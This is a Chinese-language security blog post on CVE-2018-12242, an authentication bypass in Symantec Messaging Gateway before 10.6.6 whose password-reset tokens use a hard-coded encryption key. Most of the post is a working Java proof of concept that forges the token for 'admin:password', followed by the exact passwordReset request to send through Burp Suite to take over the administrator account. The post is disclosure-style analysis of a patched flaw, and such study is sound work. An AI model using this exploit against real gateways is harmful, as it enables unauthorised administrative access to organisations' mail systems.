【技术分享】赛门铁克邮件网关重置密码漏洞

编号

CVE-2018-12242

漏洞简介

赛门铁克邮件网关10.6.6之前的所有版本,开启了重置密码功能(默认开启),可以伪造用户身份直接登录前后台。

漏洞详情

分析

赛门铁克也是纸老虎,此类邮件网关架构复杂,但是不要发憷,神挡杀神,佛挡杀佛,不少大公司的邮件网关,杀毒软件管理端产品也是普通开发人员编写,做杀毒做软件并不一定是安全的,一定也会有漏洞。这些大型软件漏洞挖掘和POC复现的一般思路从官方下载试用的centos软件包,提取rpm文件,反编译获取文件。

这里是修复之后的代码。可以很容易看出来,关键在于重制密码时的token加密的机制。

通过分析代码发现其使用了com.rsa.jsafe.provider.JsafeJCE,key值是固定的,算法为FIPS186PRNG,所以构造出来算法,输入项为用户名:密码的形式。以下是构造实现加密字符的poc。

poc

package com.symantec.smg.controlcenter.internal.security;

import sun.misc.BASE64Encoder;

import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.PBEKeySpec;
import javax.crypto.spec.PBEParameterSpec;
import java.security.*;

public class Test {
  public static void main(String[] args) {

      try {
          Provider jceProvider = new com.rsa.jsafe.provider.JsafeJCE();
// Add the JCE Provider class to the current list of providers available on the system.
          Security.insertProviderAt (jceProvider, 1);

          String encrypt = BrightmailEncrypt.encrypt("admin:gyqhLj1OzbJSQ!");
          System.out.println(encrypt);
          //System.out.println(BrightmailDecrypt.decrypt(encrypt));
      } catch (Exception e) {
          e.printStackTrace();
      }

  }

  public static class BrightmailEncrypt {
      private static BrightmailEncrypt instance = null;


      private Cipher cipher;


      private BASE64Encoder encoder;


      private String saltString;


      private BrightmailEncrypt() throws Exception {
          byte[] salt = null;
          try {
              salt = new byte[8];
              SecureRandom random = SecureRandom.getInstance("FIPS186PRNG");
              random.nextBytes(salt);


              PBEKeySpec keySpec = new PBEKeySpec("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,./<>?;':\"\\{}`~!@#$%^&*()_+-=".toCharArray());


              SecretKeyFactory keyFactory = SecretKeyFactory.getInstance("PBEWithMD5AndDES");


              SecretKey key = keyFactory.generateSecret(keySpec);


              PBEParameterSpec paramSpec = new PBEParameterSpec(salt, 1000);


              this.cipher = Cipher.getInstance("PBEWithMD5AndDES");
              this.cipher.init(1, key, paramSpec);
          } catch (Exception e) {

              throw new Exception(e);
          }

          this.encoder = new BASE64Encoder();
          this.saltString = this.encoder.encode(salt);
      }


      public static BrightmailEncrypt getInstance() throws Exception {
          if (instance == null) {
              instance = new BrightmailEncrypt();
          }
          return instance;
      }


      public String fastEncrypt(String text) throws Exception {
          try {
              byte[] ciphertext = this.cipher.doFinal(text.getBytes());
              String ciphertextString = this.encoder.encode(ciphertext);
              return this.saltString + ciphertextString;
          } catch (Exception e) {

              throw new Exception(e);
          }
      }


      public static String encrypt(String plaintext) throws Exception {
          return (new BrightmailEncrypt()).fastEncrypt(plaintext);
      }


      public static boolean isEncrypted(String text) {
          boolean encrypted = true;


          try {
              BrightmailDecrypt.decrypt(text);
          } catch (Exception e) {

              encrypted = false;
          }
          return encrypted;
      }
  }
}

通过burpsuite,发送加密之后的用户名+密码(注意url编码)附加到brightmail/action2.do?method=passwordReset&authorization=,即可重置管理员的密码。




参考资料

http://www.hacksec.cn/Penetration-test/807.html

https://seclists.org/fulldisclosure/2017/Aug/28

https://zh-cn.tenable.com/plugins/nessus/117614

https://www.v2ex.com/t/420657

http://www.cuijianxiong.top/%E6%9C%AA%E5%88%86%E7%B1%BB/2018/01/17/e8aeb0e4b880e6aca1e58886e69e90cve-2017-6327e588b0exploit/

你可能感兴趣的:(【技术分享】赛门铁克邮件网关重置密码漏洞)